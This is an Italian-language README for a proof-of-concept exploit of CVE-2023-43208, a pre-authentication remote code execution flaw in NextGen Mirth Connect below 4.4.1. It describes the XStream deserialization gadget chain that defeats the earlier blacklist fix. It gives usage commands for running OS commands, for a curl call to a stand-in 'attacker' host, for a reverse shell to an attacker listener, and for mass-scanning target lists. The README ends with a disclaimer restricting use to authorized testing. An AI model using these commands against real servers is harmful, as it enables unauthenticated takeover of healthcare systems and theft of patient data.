
CVE-2023-43208: Mirth Connect Pre-Auth RCE PoC
Esecuzione remota di codice pre-autenticata in NextGen Healthcare Mirth Connect < 4.4.1 tramite bypass di deserializzazione XStream.
CVSS 9.8 (Critico) — Bypass della patch di CVE-2023-37679
Mirth Connect utilizza la libreria Java XStream per deserializzare payload XML sull'endpoint /api/users senza autenticazione. La correzione originale (CVE-2023-37679) ha introdotto una lista nera di classi pericolose, ma è stata aggirata utilizzando EventBindingInvocationHandler di Apache Commons Lang3 combinato con la catena InvokerTransformer di Commons Collections4.
Corretto in Mirth Connect 4.4.1 passando da lista nera a lista bianca.
pip install requests
Python 3.10+ (usa istruzioni match).
python3 exploit.py check -t https://target:8443
python3 exploit.py exec -t https://target:8443 -c "id"
python3 exploit.py exec -t https://target:8443 -c "curl http://attacker/pwned"
# Terminale 1 (o lascia che lo script gestisca il listener):
python3 exploit.py shell -t https://target:8443 --lhost 10.10.10.10 --lport 4444
# Per una migliore esperienza di shell, usa rlwrap:
rlwrap python3 exploit.py shell -t https://target:8443 --lhost 10.10.10.10 --lport 4444
python3 exploit.py scan -f targets.txt -o vulnerable.txt -T 30
POST /api/users (nessuna autenticazione)
│
▼
XStream deserializza payload XML
│
▼
sorted-set attiva Comparable.compareTo()
│
▼
dynamic-proxy → EventBindingInvocationHandler (aggira la lista nera)
│
▼
ChainedTransformer.transform()
│
▼
ConstantTransformer(Runtime.class)
→ InvokerTransformer("getRuntime")
→ InvokerTransformer("invoke")
→ InvokerTransformer("exec", <comando>)
│
▼
Esecuzione del comando OS come utente del servizio Mirth Connect
Questo strumento è fornito esclusivamente per test di sicurezza autorizzati e scopi educativi. L'accesso non autorizzato a sistemi informatici è illegale. Ottieni sempre l'autorizzazione appropriata prima di eseguire test.